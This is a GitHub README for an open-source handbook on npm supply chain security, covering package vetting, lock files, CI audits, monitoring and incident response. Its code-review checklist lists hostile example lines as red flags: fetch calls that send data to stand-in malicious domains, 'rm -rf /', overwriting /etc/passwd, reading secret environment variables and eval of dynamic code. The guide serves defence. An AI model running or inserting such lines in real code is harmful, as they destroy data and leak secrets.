Skip to content

developerfred/npm-supply-chain-security

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

The Developer's Guide to NPM Supply Chain Security

An Open Source Security Handbook for JavaScript Developers


Table of Contents

  1. Understanding Supply Chain Attacks
  2. Pre-Installation Security Audit
  3. Secure Package Management
  4. Monitoring and Detection
  5. Incident Response
  6. Security Tools and Automation
  7. Best Practices Checklist
  8. Emergency Response Playbook

Understanding Supply Chain Attacks

What Are Supply Chain Attacks?

Supply chain attacks target the software distribution process by compromising trusted packages that developers integrate into their applications. In the npm ecosystem, these attacks typically involve:

  • Package Hijacking: Taking over legitimate package names
  • Typosquatting: Creating packages with similar names to popular libraries
  • Dependency Confusion: Exploiting internal package naming conflicts
  • Maintainer Account Compromise: Gaining access to legitimate maintainer accounts
  • Malicious Updates: Injecting malicious code into existing trusted packages

Recent Attack Patterns

Common Indicators:

  • Packages with minimal download counts but sophisticated functionality
  • Recently published packages claiming to be "faster alternatives"
  • Packages with suspicious permission requests
  • Dependencies that seem unrelated to the package's stated purpose

Pre-Installation Security Audit

1. Package Investigation Protocol

Before installing any package, follow this systematic approach:

A. Basic Package Analysis

# Check package information
npm info <package-name>

# View package contents without installing
npm pack <package-name> --dry-run

# Check for known vulnerabilities
npm audit

B. Reputation Assessment

Check These Metrics:

  • Weekly Downloads: Be cautious of packages with <1000 weekly downloads
  • Maintenance Status: Last updated within 6 months
  • GitHub Repository: Active repository with recent commits
  • Issue Response Time: How quickly maintainers respond to issues
  • Community Engagement: Number of contributors and their activity

C. Code Quality Indicators

Red Flags:

  • Obfuscated or minified code in source files
  • Unusual network requests or file system operations
  • Binary files without clear purpose
  • Dependencies that seem unrelated to functionality
  • Lack of comprehensive documentation

2. Deep Package Inspection

Manual Code Review Checklist

// Look for suspicious patterns:

// 1. Network requests to unknown domains
fetch('http://suspicious-domain.com/collect')
require('http').get('http://malicious-site.com')

// 2. File system operations
require('fs').writeFileSync('/etc/passwd', data)
require('child_process').exec('rm -rf /')

// 3. Environment variable access
process.env.AWS_SECRET_KEY
process.env.DATABASE_PASSWORD

// 4. Dynamic code execution
eval(someVariable)
Function(dynamicCode)()
require('vm').runInThisContext(code)

// 5. Encoded or obfuscated strings
atob('c29tZXRoaW5nIHN1c3BpY2lvdXM=')
Buffer.from(encodedData, 'base64')

Automated Analysis Tools

# Install security analysis tools
npm install -g @socketdev/cli
npm install -g audit-ci
npm install -g better-npm-audit

# Run comprehensive security scan
socket npm audit <package-name>
audit-ci --moderate
better-npm-audit

Secure Package Management

1. Lock File Management

Always use lock files:

# Generate lock file
npm install --package-lock-only

# Verify integrity
npm ci --audit

# Check for lock file drift
npm ls --depth=0

Lock File Best Practices:

  • Commit package-lock.json to version control
  • Use npm ci in production environments
  • Regularly update and review lock file changes
  • Use --package-lock-only for dependency updates

2. Dependency Pinning Strategy

{
  "dependencies": {
    // Pin exact versions for critical dependencies
    "express": "4.18.2",
    
    // Use caret for minor updates only
    "lodash": "^4.17.21",
    
    // Avoid wildcards entirely
    "some-package": "*"  // ❌ Never do this
  }
}

3. Private Registry Configuration

# Configure private registry
npm config set registry https://your-private-registry.com
npm config set @yourscope:registry https://your-private-registry.com

# Use .npmrc for project-specific configuration
echo "registry=https://your-private-registry.com" > .npmrc
echo "@yourscope:registry=https://your-private-registry.com" >> .npmrc

Monitoring and Detection

1. Continuous Security Monitoring

GitHub Security Features

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    reviewers:
      - "security-team"
    assignees:
      - "lead-developer"

Automated Security Checks

# .github/workflows/security.yml
name: Security Audit
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm ci
      - run: npm audit --audit-level=moderate
      - run: npx audit-ci --moderate

2. Runtime Monitoring

// Monitor for suspicious behavior
process.on('warning', (warning) => {
  if (warning.name === 'DeprecationWarning') {
    console.warn('Deprecated API usage detected:', warning.message);
  }
});

// Monitor network requests (for Node.js applications)
const originalRequest = require('http').request;
require('http').request = function(...args) {
  console.log('HTTP request to:', args[0]?.hostname || args[0]);
  return originalRequest.apply(this, args);
};

3. File Integrity Monitoring

# Generate checksums for critical files
find node_modules -name "*.js" -exec sha256sum {} \; > checksums.txt

# Verify integrity
sha256sum -c checksums.txt

Incident Response

1. Immediate Response Protocol

If you detect a compromised package:

  1. Isolate immediately

    # Stop all affected services
    sudo systemctl stop your-service
    
    # Disconnect from networks if necessary
    sudo ufw deny out
  2. Document the incident

    • Screenshot package information
    • Save malicious code samples
    • Record timeline of events
    • List affected systems
  3. Assess impact

    • Check logs for data exfiltration
    • Verify system integrity
    • Scan for lateral movement
    • Review user account activity

2. Recovery Steps

# 1. Remove compromised packages
npm uninstall <compromised-package>

# 2. Clear npm cache
npm cache clean --force

# 3. Reinstall from known good sources
npm install <package-name>@<known-good-version>

# 4. Verify integrity
npm audit
npm ls --depth=0

3. Notification Protocol

Internal Communications:

  • Immediate notification to security team
  • Update to development team leads
  • Executive summary for management
  • Post-incident review scheduling

External Communications:

  • Report to npm security team
  • Notify affected customers
  • Coordinate with security researchers
  • Public disclosure if appropriate

Security Tools and Automation

1. Essential Security Tools

# Install security toolkit
npm install -g @socketdev/cli
npm install -g audit-ci
npm install -g better-npm-audit
npm install -g retire
npm install -g nsp

# Run comprehensive security check
socket npm audit
audit-ci --moderate
retire --js

2. Custom Security Scripts

// security-check.js
const { execSync } = require('child_process');
const fs = require('fs');

function runSecurityAudit() {
  try {
    // Run npm audit
    const auditResult = execSync('npm audit --json', { encoding: 'utf8' });
    const audit = JSON.parse(auditResult);
    
    // Check for high/critical vulnerabilities
    if (audit.metadata.vulnerabilities.high > 0 || 
        audit.metadata.vulnerabilities.critical > 0) {
      console.error('❌ Critical vulnerabilities found!');
      process.exit(1);
    }
    
    // Check package integrity
    const packageLock = JSON.parse(fs.readFileSync('package-lock.json'));
    console.log(`✅ Checked ${Object.keys(packageLock.dependencies).length} dependencies`);
    
  } catch (error) {
    console.error('Security check failed:', error.message);
    process.exit(1);
  }
}

runSecurityAudit();

3. Pre-commit Hooks

# Install husky for git hooks
npm install --save-dev husky

# Setup pre-commit hook
npx husky install
npx husky add .husky/pre-commit "npm run security-check"

Best Practices Checklist

✅ Pre-Installation

  • Research package reputation and maintainer history
  • Check weekly download count (>1000 recommended)
  • Verify official documentation and GitHub repository
  • Review recent issues and maintainer responses
  • Scan for typosquatting attempts
  • Check package size (unusually large packages are suspicious)

✅ Installation

  • Use exact version pinning for critical dependencies
  • Install from official npm registry
  • Use npm ci in production environments
  • Commit lock files to version control
  • Run security audit after installation

✅ Ongoing Monitoring

  • Enable Dependabot or similar automated updates
  • Set up GitHub security advisories
  • Implement CI/CD security checks
  • Regular dependency audits (weekly minimum)
  • Monitor for security advisories

✅ Team Practices

  • Establish security review process for new dependencies
  • Create incident response playbook
  • Train team on security awareness
  • Implement least privilege access
  • Regular security training updates

Emergency Response Playbook

🚨 Immediate Actions (0-15 minutes)

  1. Stop all affected services
  2. Disconnect from external networks
  3. Preserve system state for forensics
  4. Notify security team

🔍 Investigation Phase (15-60 minutes)

  1. Identify compromised packages

    npm ls --depth=0 | grep <suspicious-package>
  2. Check system integrity

    # Look for unexpected files
    find /tmp -name "*.js" -newer package.json
    
    # Check process list
    ps aux | grep node
    
    # Review network connections
    netstat -tulpn
  3. Analyze logs

    # Check npm install logs
    tail -f ~/.npm/_logs/*debug.log
    
    # System logs
    journalctl -u your-service --since "1 hour ago"

🛠️ Containment Phase (1-4 hours)

  1. Remove compromised packages
  2. Update firewall rules
  3. Rotate credentials
  4. Patch vulnerabilities

🔧 Recovery Phase (4-24 hours)

  1. Rebuild from clean sources
  2. Verify system integrity
  3. Gradual service restoration
  4. Enhanced monitoring

📋 Post-Incident (24-48 hours)

  1. Document lessons learned
  2. Update security procedures
  3. Share findings with community
  4. Implement additional safeguards

Contributing

This guide is open source and community-driven. To contribute:

  1. Fork the repository
  2. Create a feature branch
  3. Submit a pull request with your improvements

Areas for contribution:

  • Additional security tools and integrations
  • Real-world attack case studies
  • Platform-specific guidance (Docker, Kubernetes, etc.)
  • Automated scanning scripts
  • Translation to other languages

Resources and Further Reading

Security Tools

Official Documentation

Security Advisories


License

This guide is released under the MIT License. Feel free to distribute, modify, and use in your projects.


Last updated: September 2025 Version: 1.0

Remember: Security is not a destination, it's a journey. Stay vigilant, stay updated, and help protect the entire JavaScript ecosystem.

About

An Open Source Security Handbook for JavaScript Developers

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published